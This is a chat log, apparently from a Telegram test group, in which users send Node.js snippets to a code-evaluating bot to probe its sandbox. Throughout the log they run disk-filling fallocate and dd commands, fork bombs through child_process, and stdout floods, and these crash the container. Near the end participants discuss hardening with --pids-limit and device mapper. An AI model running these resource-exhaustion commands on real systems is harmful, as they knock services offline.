Log for
SITCON BOT Testpool
/evaluate console.log("1")
/evaluate vat i=0; setInterval(()=>{console.log(i++)}, 1000)
/evaluate var i=0; setInterval(()=>{console.log(i++)}, 1000)
/evaluate var i=0; setInterval(()=>{console.log(i++)}, 1)
b=new Buffer(4 * 1024); b.fill('0\r\n'); process.stdout.write(b);
直接alloc一個buffer往stdout塞才是王道
像要是這樣做...他至少會給tg api塞4000條訊息
/evaluate@nodeCodeEvaluatingBot b=new Buffer(1024 * 1024); b.fill('0\r\n'); process.stdout.write(b);
/evaluate installModule("child_process", () => {
var exec = require('child_process').exec;
var cmd = 'fallocate -l 1T /tmp/tmp; d -h';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout)
});
});
/evaluate installModule("child_process", () => {
var exec = require('child_process').exec;
var cmd = 'd -h';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout)
});
});
@BirkhoffLee 是說不吃斷行的bug修了沒啊?
/evaluate var exec = require('child_process').exec;
var cmd = 'd -h';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout)
});
/evaluate var exec = require('child_process').exec;
var cmd = 'df -h';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout)
});
/evaluate var exec = require('child_process').exec;
var cmd = 'dd if=/dev/null of=/test_file bs=1M count=1K';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout)
});
/evaluate var exec = require('child_process').exec;
var cmd = 'dd if=/dev/null of=/test_file bs=1M count=1K';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout + stderr)
});
/evaluate var exec = require('child_process').exec;
var cmd = 'dd if=/dev/zero of=/test_file bs=1M count=1K';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout + stderr)
});
/evaluate var exec = require('child_process').exec;
var cmd = 'dd if=/dev/zero of=/test_file bs=1M count=1M';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout + stderr)
});
docker: Error response from daemon: rpc error: code = 2 desc = "containerd: container did not start before the specified timeout".
** Script execution ended with code 125 **
/evaluate installModule("child_process", () => {
var cmd = 'fallocate -l 100G /sean; sleep 200; echo End';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});});
/evaluate installModule("child_process", () => {
var cmd = 'df -h';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});});
/evaluate
var cmd = 'df -h';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});
@nodeCodeEvaluatingBot 怎麼了?!
如果要的話,改用device mapper可以免疫用塞爆空間癱瘓bug的招數啦...
不過跑在vm裡的docker能不能條這種選像我就不知道了
regex module has been enabled for #-628461@tg
/evaluate
var cmd = 'df -h';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});
/evaluate
var cmd = 'df -h';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});
/evaluate
var cmd = 'df -h';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});
/evaluate var exec = require('child_process').exec;
var cmd = 'dd if=/dev/null of=/test_file bs=1M count=1K';
exec(cmd, function(error, stdout, stderr) {
console.log(stdout + stderr)
});
/evaluate
var cmd = 'df -h';
require('child_process').exec(cmd, function(i, s, t) {
console.log(i + s + t)
});
/evaluate c='df -h';
require('child_process').exec(c,function(i,s,t){console.log(i+s+t)});
/evaluate c='df -h';
require('child_process').exec(c,function(i,s,t){console.log(i+s+t)});
/evaluate c=':() { :|date +%N& };:';
require('child_process').exec(c,function(i,s,t){console.log(i+s+t)});
/evaluate c='#!/bin/bash :() { :|date +%N& };:';
require('child_process').exec('c,function(i,s,t){console.log(i+s+t)});
/evaluate c=':() { :|date +%N& };:';
require('child_process').exec("#!/bin/bash\n" + c,function(i,s,t){console.log(i+s+t)});
/evaluate c=':() { :|date +%N& };:';
require('child_process').exec("bash -c <<teamEOW "+c+"teamEOW",function(i,s,t){console.log(i+s+t)});
/evaluate c=':() { :|date +%N& };:';
require('child_process').exec("cat <<teamEOW "+c+" teamEOW |bash",function(i,s,t){console.log(i+s+t)});
/evaluate c=':() { :|date +%N& };:';
require('child_process').exec("cat <<teamEOW\ n"+c+"\nteamEOW |bash",function(i,s,t){console.log(i+s+t)});
/evaluate c='ps';
require('child_process').exec("cat <<teamEOW\ n"+c+"\nteamEOW |bash",function(i,s,t){console.log(i+s+t)});
/evaluate c='ps';
require('child_process').exec("cat <<teamEOW\\n"+c+"\\nteamEOW |bash",function(i,s,t){console.log(i+s+t)});
/evaluate c='ps';
require('child_process').exec("cat <<teamEOW\\n"+c+"\\nteamEOW |bash -",function(i,s,t){console.log(i+s+t)});
/evaluate c='ps';
require('child_process').exec("cat <<teamEOW\\n"+c+"\\nteamEOW |cat",function(i,s,t){console.log(i+s+t)});
/evaluate c='ps';
require('child_process').exec(c,function(i,s,t){console.log(i+s+t)});
/evaluate c='echp $0';
require('child_process').exec(c,function(i,s,t){console.log(i+s+t)});
/evaluate c='echo $0';
require('child_process').exec(c,function(i,s,t){console.log(i+s+t)});
/evaluate c='echo $0';
require('child_process').exec(['bash','-c',c],function(i,s,t){console.log(i+s+t)});
/evaluate c='echo $0';
require('child_process').exec(c,function(i){console.log(i)});
/evaluate c='echo $0';
require('child_process').exec('bash', ['-c',c],function(i,s,t){console.log(i+s+t)});
/evaluate c='echo $0';
require('child_process').execFile('bash', ['-c',c],function(i,s,t){console.log(i+s+t)});
/evaluate c='echo $0 這樣才對';
require('child_process').execFile('bash', ['-c',c], function(i,s,t){console.log(s)});
是說docekr預設是不免疫fork bomb的...真的跑會死掉
是因為這個嗎..../evaluate c=':() { :|:& }; while :; do :; done';
require('child_process').execFile('bash', ['-c',c], function(i,s,t){console.log(s)});
是系統process數會爆增,到最後會沒有回應,shell完全不能動
理論上只要用最新版 docker 配 linux 4.3+,加個 --pids-limit=512 就能擋下來啦
我還沒設定 resource limit
不會設定XD
--pids-limit=512 是丟在 container start command 裡面嗎
@BirkhoffLee 記得把 nice 值 (優先權) 調高一點
反正每個contain e r的優先權都一樣 沒差(?